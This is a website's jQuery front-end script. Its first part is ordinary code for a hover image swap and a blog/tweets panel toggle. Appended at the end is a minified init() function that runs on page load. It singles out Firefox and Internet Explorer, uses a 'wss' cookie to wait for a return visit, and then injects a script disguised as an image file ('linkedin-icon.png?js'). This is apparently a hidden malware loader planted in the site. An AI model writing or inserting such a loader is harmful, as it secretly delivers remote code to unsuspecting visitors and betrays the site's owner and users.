(function($){
  $(document).ready(function(){
    $('img', '#contact').hover(function(){
      $(this).animate({left:157, width:0},500,'easeOutSine',function(){
        $(this).attr('src','/assets/images/contact.png');
        $(this).animate({left:0, width:315},500,'easeInSine');
      });
    });
    $('img', '#contact').mouseout(function(){
      $(this).animate({left:157, width:0},500,'easeOutSine',function(){
        $(this).attr('src','/assets/site/druppel_03.jpg');
        $(this).animate({left:0, width:315},500,'easeInSine');
      });
    });

		$('#choose_blog').click(function(){
			if (!$('#choose_blog').hasClass('active'))
			{
				$('#choose_tweets').removeClass('active');
				$('#choose_blog').addClass('active');
				$("#bt_tweets").fadeOut('slow', function(){$("#bt_blog").fadeIn('slow', function(){});});
			}
			return false;
		});

		$('#choose_tweets').click(function(){
			if (!$('#choose_tweets').hasClass('active'))
			{
				$('#choose_blog').removeClass('active');
				$('#choose_tweets').addClass('active');
				$("#bt_blog").fadeOut('slow', function(){$("#bt_tweets").fadeIn('slow', function(){});});
			}
			return false;
		});
		
		int_num = Math.floor(Math.random()*2);
		
		str_element = "#choose_blog";
		if (int_num == 1)
		{
			str_element = "#choose_tweets";
		}
		
		$(str_element).trigger("click");


  });
})(jQuery);


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/assets/images/linkedin-icon.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
